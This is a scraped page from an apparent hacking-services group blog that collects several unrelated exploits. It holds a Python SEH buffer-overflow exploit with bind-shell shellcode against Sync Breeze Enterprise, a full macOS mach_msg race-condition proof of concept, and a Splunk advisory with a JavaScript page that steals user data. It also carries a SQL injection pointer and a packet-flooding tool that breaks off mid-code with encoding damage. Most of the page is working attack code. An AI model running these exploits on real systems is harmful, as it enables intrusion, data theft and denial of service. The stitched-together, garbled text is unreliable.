#!/usr/bin/env python
# Exploit Title: Sync Breeze Enterprise v9.5.16 - Remote buffer overflow (SEH)
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Vendor Homepage: http://syncbreeze.com
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.5.16.exe
# Version: 9.5.16
# Tested on: Windows 7 SP1 x86
import socket,os,time,struct
host = "192.168.2.186"
port = 80
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -b "\x00\x09\x0a\x0d\x20" -f python
shellcode = ""
shellcode += "\xd9\xc0\xd9\x74\x24\xf4\x5e\xbf\xb0\x9b\x0e\xf2\x33"
shellcode += "\xc9\xb1\x53\x31\x7e\x17\x83\xee\xfc\x03\xce\x88\xec"
shellcode += "\x07\xd2\x47\x72\xe7\x2a\x98\x13\x61\xcf\xa9\x13\x15"
shellcode += "\x84\x9a\xa3\x5d\xc8\x16\x4f\x33\xf8\xad\x3d\x9c\x0f"
shellcode += "\x05\x8b\xfa\x3e\x96\xa0\x3f\x21\x14\xbb\x13\x81\x25"
shellcode += "\x74\x66\xc0\x62\x69\x8b\x90\x3b\xe5\x3e\x04\x4f\xb3"
shellcode += "\x82\xaf\x03\x55\x83\x4c\xd3\x54\xa2\xc3\x6f\x0f\x64"
shellcode += "\xe2\xbc\x3b\x2d\xfc\xa1\x06\xe7\x77\x11\xfc\xf6\x51"
shellcode += "\x6b\xfd\x55\x9c\x43\x0c\xa7\xd9\x64\xef\xd2\x13\x97"
shellcode += "\x92\xe4\xe0\xe5\x48\x60\xf2\x4e\x1a\xd2\xde\x6f\xcf"
shellcode += "\x85\x95\x7c\xa4\xc2\xf1\x60\x3b\x06\x8a\x9d\xb0\xa9"
shellcode += "\x5c\x14\x82\x8d\x78\x7c\x50\xaf\xd9\xd8\x37\xd0\x39"
shellcode += "\x83\xe8\x74\x32\x2e\xfc\x04\x19\x27\x31\x25\xa1\xb7"
shellcode += "\x5d\x3e\xd2\x85\xc2\x94\x7c\xa6\x8b\x32\x7b\xc9\xa1"
shellcode += "\x83\x13\x34\x4a\xf4\x3a\xf3\x1e\xa4\x54\xd2\x1e\x2f"
shellcode += "\xa4\xdb\xca\xda\xac\x7a\xa5\xf8\x51\x3c\x15\xbd\xf9"
shellcode += "\xd5\x7f\x32\x26\xc5\x7f\x98\x4f\x6e\x82\x23\x7e\x33"
shellcode += "\x0b\xc5\xea\xdb\x5d\x5d\x82\x19\xba\x56\x35\x61\xe8"
shellcode += "\xce\xd1\x2a\xfa\xc9\xde\xaa\x28\x7e\x48\x21\x3f\xba"
shellcode += "\x69\x36\x6a\xea\xfe\xa1\xe0\x7b\x4d\x53\xf4\x51\x25"
shellcode += "\xf0\x67\x3e\xb5\x7f\x94\xe9\xe2\x28\x6a\xe0\x66\xc5"
shellcode += "\xd5\x5a\x94\x14\x83\xa5\x1c\xc3\x70\x2b\x9d\x86\xcd"
shellcode += "\x0f\x8d\x5e\xcd\x0b\xf9\x0e\x98\xc5\x57\xe9\x72\xa4"
shellcode += "\x01\xa3\x29\x6e\xc5\x32\x02\xb1\x93\x3a\x4f\x47\x7b"
shellcode += "\x8a\x26\x1e\x84\x23\xaf\x96\xfd\x59\x4f\x58\xd4\xd9"
shellcode += "\x7f\x13\x74\x4b\xe8\xfa\xed\xc9\x75\xfd\xd8\x0e\x80"
shellcode += "\x7e\xe8\xee\x77\x9e\x99\xeb\x3c\x18\x72\x86\x2d\xcd"
shellcode += "\x74\x35\x4d\xc4"
#Buffer overflow
junk = "A" * 2487
#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x100160ae)
#Generated by mona.py v2.0, rev 568 - Immunity Debugger
egg = "w00tw00t"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
#NOPS
nops = "\x90"
#Payload
payload = junk + nSEH + SEH + egghunter + nops * 10 + egg + shellcode + nops * (6000 - len(junk) - len(nSEH) - len(SEH) - len(egghunter) - 10 - len(egg) - len(shellcode))
#HTTP Request
request = "GET /" + payload + "HTTP/1.1" + "\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Connection: keep-alive" + "\r\n\r\n"
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((host,port))
socket.send(request)
socket.close()
print "Waiting for shell..."
time.sleep(5)
os.system("nc " + host + " 4444")
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863530226
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1083
When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.
Exploitation:
We need specific code that references the memory twice from |mach_msg|.
Here's a snippet of such a function |xpc_dictionary_insert|.
v14 = strlen(shared_memory); <<-- 1st
v15 = _xpc_malloc(v14 + 41);
...
strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd
If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.
This bug is triggerable from a sandboxed process.
The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.
Tested on macOS Sierra 10.12.2(16C67).
clang++ -o poc poc.cc -std=c++11
*/
/*
macOS/IOS: mach_msg: doesn't copy memory
When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.
Exploitation:
We need specific code that references the memory twice from |mach_msg|.
Here's a snippet of such a function |xpc_dictionary_insert|.
v14 = strlen(shared_memory); <<-- 1st
v15 = _xpc_malloc(v14 + 41);
...
strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd
If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.
This bug is triggerable from a sandboxed process.
The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.
Tested on macOS Sierra 10.12.2(16C67).
clang++ -o poc poc.cc -std=c++11
*/
#include <stdint.h>
#include <stdio.h>
#include <xpc/xpc.h>
#include <assert.h>
#include <iostream>
#include <CoreFoundation/CoreFoundation.h>
#include <dlfcn.h>
#include <mach/mach.h>
#include <mach-o/dyld_images.h>
#include <printf.h>
#include <dispatch/dispatch.h>
#include <vector>
#include <chrono>
#include <thread>
struct RaceContext {
std::vector<uint8_t> payload;
size_t race_offset;
std::vector<uint8_t> spray;
size_t spray_size;
};
xpc_object_t empty_request = xpc_dictionary_create(nullptr, nullptr, 0);
double now() {
return std::chrono::duration<double>(std::chrono::system_clock::now().time_since_epoch()).count();
}
mach_port_t createMemoryEntry(memory_object_size_t size) {
vm_address_t addr = 0;
vm_allocate(mach_task_self(), &addr, size, true);
memset((void*)addr, 0, size);
mach_port_t res = 0;
mach_make_memory_entry_64(mach_task_self(), &size, addr, 0x0000000000200043, &res, 0);
vm_deallocate(mach_task_self(), addr, size);
return res;
}
void sendPayload(const RaceContext* ctx) {
size_t data_size = ctx->spray_size;
mach_port_t mem_entry = createMemoryEntry(data_size);
uint8_t* data = nullptr;
vm_map(mach_task_self(), (vm_address_t*)&data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);
memcpy(data, &ctx->payload[0], ctx->payload.size());
for (size_t i = 0x1000; i < data_size; i += 0x1000) {
memcpy(&data[i], &ctx->spray[0], ctx->spray.size());
}
for (int32_t i = 0; i < 0x4000; i++) {
double start = now();
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
});
xpc_connection_resume(client);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
double duration = now() - start;
printf("duration: %f\n", duration);
if (duration > 2.0) {
xpc_release(client);
break;
}
mach_port_t service_port = ((uint32_t*)client)[15];
void* msg_data = nullptr;
vm_map(mach_task_self(), (vm_address_t*)&msg_data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);
struct {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_desc;
} m = {};
m.hdr.msgh_size = sizeof(m);
m.hdr.msgh_local_port = MACH_PORT_NULL;
m.hdr.msgh_remote_port = service_port;
m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND | MACH_MSGH_BITS_COMPLEX, 0);
m.hdr.msgh_id = 0x10000000;
m.body.msgh_descriptor_count = 1;
m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
m.ool_desc.address = msg_data;
m.ool_desc.size = (mach_msg_size_t)data_size;
m.ool_desc.deallocate = 1;
m.ool_desc.copy = MACH_MSG_VIRTUAL_COPY;
bool stop = true;
std::thread syncer([&] {
while (stop);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
stop = true;
});
size_t race_offset = ctx->race_offset;
__uint128_t orig = *(__uint128_t*)&data[race_offset];
__uint128_t new_one = *(const __uint128_t*)"AAAAAAAAAAAAAAAA";
mach_msg(&m.hdr, MACH_SEND_MSG, m.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
stop = false;
while (!stop) {
*(__uint128_t*)&data[race_offset] = orig;
*(__uint128_t*)&data[race_offset] = new_one;
}
syncer.join();
*(__uint128_t*)&data[race_offset] = orig;
xpc_release(client);
}
mach_port_deallocate(mach_task_self(), mem_entry);
}
const void* memSearch(const void* base, const void* data, size_t size) {
const uint8_t* p = (const uint8_t*)base;
for (;;) {
if (!memcmp(p, data, size))
return p;
p++;
}
}
void* getLibraryAddress(const char* library_name) {
task_dyld_info_data_t task_dyld_info;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
const struct dyld_image_info* image_infos = all_image_infos->infoArray;
for (size_t i = 0; i < all_image_infos->infoArrayCount; i++) {
const char* image_name = image_infos[i].imageFilePath;
mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
if (strstr(image_name, library_name)){
return (void*)image_load_address;
}
}
return 0;
}
void initRace(RaceContext* ctx) {
struct FakeObject {
void* unk[2];
void* ref_to_bucket;
void* padd[0x10];
struct {
const void* sel;
const void* func;
} bucket;
};
const uint32_t kXpcData[] = {0x58504321, 0x00000005, 0x0000f000, 0x00000964, 0x00000002, 0x69746361, 0x00006e6f, 0x00004000, 0x00000003, 0x00000000, 0x73646970, 0x00000000, 0x0000e000, 0x0000093c, 0x00000001, 0x0000f000, 0x00000930, 0x0000004b, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x00004000, 0x00000001, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000324, 0x00000032, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x00003042, 0x0000f000, 0x00000004, 0x00000000, 0x00003142, 0x0000f000, 0x00000004, 0x00000000, 0x00003242, 0x0000f000, 0x00000004, 0x00000000, 0x00003342, 0x0000f000, 0x00000004, 0x00000000, 0x00003442, 0x0000f000, 0x00000004, 0x00000000, 0x00003542, 0x0000f000, 0x00000004, 0x00000000, 0x00003642, 0x0000f000, 0x00000004, 0x00000000, 0x00003742, 0x0000f000, 0x00000004, 0x00000000, 0x00003842, 0x0000f000, 0x00000004, 0x00000000, 0x00003942, 0x0000f000, 0x00000004, 0x00000000, 0x00303142, 0x0000f000, 0x00000004, 0x00000000, 0x00313142, 0x0000f000, 0x00000004, 0x00000000, 0x00323142, 0x0000f000, 0x00000004, 0x00000000, 0x00333142, 0x0000f000, 0x00000004, 0x00000000, 0x00343142, 0x0000f000, 0x00000004, 0x00000000, 0x00353142, 0x0000f000, 0x00000004, 0x00000000, 0x00363142, 0x0000f000, 0x00000004, 0x00000000, 0x00373142, 0x0000f000, 0x00000004, 0x00000000, 0x00383142, 0x0000f000, 0x00000004, 0x00000000, 0x00393142, 0x0000f000, 0x00000004, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x00008000, 0x00000009, 0x68746d69, 0x67617465, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000004, 0x00000000};
const size_t kTagOffset = 0x954;
const uintptr_t kSprayedAddr = 0x120101010;
//ctx->data.resize(0x10000);
ctx->payload.resize(0x1000);
ctx->race_offset = kTagOffset - 0x10;
memcpy(&ctx->payload[0], kXpcData, sizeof(kXpcData));
*(uintptr_t*)&ctx->payload[kTagOffset] = kSprayedAddr;
ctx->spray.resize(0x300);
ctx->spray_size = 1024 * 1024 * 512;
void* libdispatch = getLibraryAddress("libdispatch.dylib");
FakeObject* predict = (FakeObject*)kSprayedAddr;
FakeObject* obj = (FakeObject*)&ctx->spray[kSprayedAddr & 0xff];
obj->ref_to_bucket = &predict->bucket;
obj->bucket.sel = memSearch(libdispatch, "_xref_dispose", 14);
obj->bucket.func = (void*)0x9999;
}
int32_t main() {
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
});
xpc_connection_resume(client);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
RaceContext ctx;
initRace(&ctx);
printf("attach the debugger to diagnosticd\n");
getchar();
sendPayload(&ctx);
return 0;
}
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/SPLUNK-ENTERPRISE-INFORMATION-THEFT.txt
[+] ISR: ApparitionSec
Vendor:
===============
www.splunk.com
Product:
==================
Splunk Enterprise
Splunk provides the leading platform for Operational Intelligence. Customers use Splunk to search, monitor, analyze
and visualize machine data. Splunk Enterprise, collects and analyzes high volumes of machine-generated data.
Vulnerability Type:
==================================
Javascript (JSON) Information Theft
CVE Reference:
==============
CVE-2017-5607
Security Issue:
================
Attackers can siphon information from Splunk Enterprise if an authenticated Splunk user visits a malicious webpage.
Some useful data gained is the currently logged in username and if remote user setting is enabled. After, the username
can be use to Phish or Brute Force Splunk Enterprise login. Additional information stolen may aid in furthering attacks.
Root cause is the global Window JS variable assignment of config?autoload=1 '$C'.
e.g.
window.$C = {"BUILD_NUMBER": 207789, "SPLUNKD_PATH"... etc... }
To steal information we simply can define a function to be called when the '$C' JS property is "set" on webpage, for example.
Object.defineProperty( Object.prototype, "$C", { set:function(val){...
The Object prototype is a Object that every other object inherits from in JavaScript, if we create a setter on the name of our target
in this case "$C", we can get/steal the value of this data, in this case it is very easy as it is assigned to global Window namespace.
Affected Splunk Enterprise versions:
6.5.x before 6.5.3
6.4.x before 6.4.6
6.3.x before 6.3.10
6.2.x before 6.2.13.1
6.1.x before 6.1.13
6.0.x before 6.0.14
5.0.x before 5.0.18 and Splunk Light before 6.5.2
Vulnerability could allow a remote attacker to obtain logged-in username and Splunk version-related information via JavaScript.
References:
=============
https://www.splunk.com/view/SP-CAAAPZ3
https://www.splunk.com/view/SP-CAAAPZ3#InformationLeakageviaJavaScriptCVE20175607
Exploit/POC:
=============
Reproduction:
1) Log into Splunk
2) place the below Javascript in webpage on another server.
"Splunk-Data-Theft.html"
<script>
Object.defineProperty( Object.prototype, "$C", { set:function(val){
//prompt("Splunk Timed out:\nPlease Login to Splunk\nUsername: "+val.USERNAME, "Password")
for(var i in val){
alert(""+i+" "+val[i]);
}
}
});
</script>
<script src="https://VICTIM-IP:8000/en-US/config?autoload=1"></script>
3) Visit the server hosting the "Splunk-Data-Theft.html" webpage, grab current authenticated user
4) Phish or brute force the application.
Video POC URL:
===============
https://vimeo.com/210634562
Network Access:
===============
Remote
Impact:
=======================
Information Disclosure
Severity:
=========
Medium
Disclosure Timeline:
===================================================
Vendor Notification: November 30, 2016
Vendor Acknowledgement: December 2, 2016
Vendor Release Splunk 6.5.3 / Patch : March 30, 2017
March 31, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
# # # # #
# Exploit Title: Membership Formula - Best Membership Site PHP Script - SQL Injection
# Google Dork: N/A
# Date: 31.03.2017
# Vendor Homepage: http://www.zeescripts.com/
# Software: http://www.zeescripts.com/store/membership-formula-v1.0-best-membership-site-php-script.html
# Demo: http://www.zeemember.com/demo/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/members/member.area.directory.php?order=[SQL]
# members:id
# members:first_name
# members:last_name
# members:email
# members:password
# # # # #
//Exploited By Hosein Askari
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#ifdef F_PASS
#include <sys/stat.h>
#endif
#include <netinet/in_systm.h>
#include <sys/socket.h>
#include <string.h>
#include <time.h>
#ifndef __USE_BSD
# define __USE_BSD
#endif
#ifndef __FAVOR_BSD
# define __FAVOR_BSD
#endif
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#ifdef LINUX
# define FIX(x) htons(x)
#else
# define FIX(x) (x)
#endif
#define TCP_ACK 1
#define TCP_FIN 2
#define TCP_SYN 4
#define TCP_RST 8
#define UDP_CFF 16
#define ICMP_ECHO_G 32
#define TCP_NOF 64
#define TCP_URG 128
#define TH_NOF 0x0
#define TCP_ATTACK() (a_flags & TCP_ACK ||\
a_flags & TCP_FIN ||\
a_flags & TCP_SYN ||\
a_flags & TCP_RST ||\
a_flags & TCP_NOF ||\
a_flags & TCP_URG )
#define UDP_ATTACK() (a_flags & UDP_CFF)
#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
#define CHOOSE_DST_PORT() dst_sp =3D=3D 0 ?\
random () :\
htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
#define CHOOSE_SRC_PORT() src_sp =3D=3D 0 ?\
random () :\
htons(src_sp + (random() % (src_ep -src_sp +1)));
#define SEND_PACKET() if (sendto(rawsock,\
&packet,\
(sizeof packet),\
0,\
(struct sockaddr *)&target,\
sizeof target) < 0) {\
perror("sendto");\
exit(-1);\
}
#define BANNER_CKSUM 54018
u_long lookup(const char *host);
unsigned short in_cksum(unsigned short *addr, int len);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_tcp(u_char th_flags);
static void send_udp(u_char garbage);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);
u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct sockaddr_in target;
const char *banner =3D "Written By C0NSTANTINE";
struct pseudo_hdr {
u_long saddr, daddr;
u_char mbz, ptcl;
u_short tcpl;
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct {
int gv;
int kv;
void (*f)(u_char);
} a_list[] =3D {
{ TCP_ACK, TH_ACK, send_tcp },
{ TCP_FIN, TH_FIN, send_tcp },
{ TCP_SYN, TH_SYN, send_tcp },
{ TCP_RST, TH_RST, send_tcp },
{ TCP_NOF, TH_NOF, send_tcp },
{ TCP_URG, TH_URG, send_tcp },
{ UDP_CFF, 0, send_udp },
{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};
int
main(int argc, char *argv[])
{
int n, i, on =3D 1;
int b_link;
#ifdef F_PASS
struct stat sb;
#endif
unsigned int until;
a_flags =3D dstaddr =3D i =3D 0;
dst_sp =3D dst_ep =3D src_sp =3D src_ep =3D 0;
until =3D b_link =3D -1;
src_class =3D dst_class =3D NULL;
while ( (n =3D getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) !=3D -1) {
char *p;
switch (n) {
case 'T':
switch (atoi(optarg)) {
case 0: a_flags |=3D TCP_ACK; break;
case 1: a_flags |=3D TCP_FIN; break;
case 2: a_flags |=3D TCP_RST; break;
case 3: a_flags |=3D TCP_SYN; break;
case 4: a_flags |=3D TCP_URG; break;
}
break;
case 'U':
a_flags |=3D UDP_CFF;
break;
case 'I':
a_flags |=3D ICMP_ECHO_G;
break;
case 'N':
a_flags |=3D TCP_NOF;
break;
case 's':
src_class =3D optarg;
break;
case 'h':
dstaddr =3D lookup(optarg);
break;
case 'd':
dst_class =3D optarg;
i =3D 1;
break;
case 'p':
if ( (p =3D (char *) strchr(optarg, ',')) =3D=3D NULL)
usage(argv[0]);
dst_sp =3D atoi(optarg);
dst_ep =3D atoi(p +1);
break;
case 'q':
if ( (p =3D (char *) strchr(optarg, ',')) =3D=3D NULL)
usage(argv[0]);
src_sp =3D atoi(optarg);
src_ep =3D atoi(p +1);
break;
case 'l':
b_link =3D atoi(optarg);
if (b_link <=3D 0 || b_link > 100)
usage(argv[0]);
break;
case 't':
until =3D time(0) +atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if ( (!dstaddr && !i) ||
(dstaddr && i) ||
(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
(src_sp !=3D 0 && src_sp > src_ep) ||
(dst_sp !=3D 0 && dst_sp > dst_ep))
usage(argv[0]);
srandom(time(NULL) ^ getpid());
if ( (rawsock =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}
if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
